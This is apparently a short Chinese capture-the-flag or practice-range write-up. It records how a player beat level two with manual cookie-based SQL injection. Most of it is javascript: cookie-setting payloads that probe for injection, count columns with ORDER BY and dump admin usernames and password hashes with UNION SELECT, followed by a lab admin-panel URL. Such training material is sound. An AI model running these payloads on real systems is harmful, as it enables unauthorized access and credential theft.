第二关靶场已通关--HHH_Huaji

用cookie手工注入拿下后台管理员密码成功通过第二关所用代码语句

javascript:alert(document.cookie="id="+escape("X") 这里的X是  ?id=X  的X，

javascript:alert(document.cookie="id="+escape("X and 1=2"));判断是否存在注入点，

javascript:alert(document.cookie="id="+escape("X order by 10"));猜字段数，

javascript:alert(document.cookie="id="+escape("X union select 1,2,3,4,5,6,7,8,9,10 from admin"));猜表名  admin这个表不一定存在，只是猜测

javascript:alert(document.cookie="id="+escape("X union select 1,username,password,4,5,6,7,8,9,10 from admin"));猜列名的值

最后爆出username and passwrod的值进入后台 最后进入后台管理界面http://120.203.13.75:8001/admin

输入username的值和刚刚得到的md5加密的password 拿到第二关的Key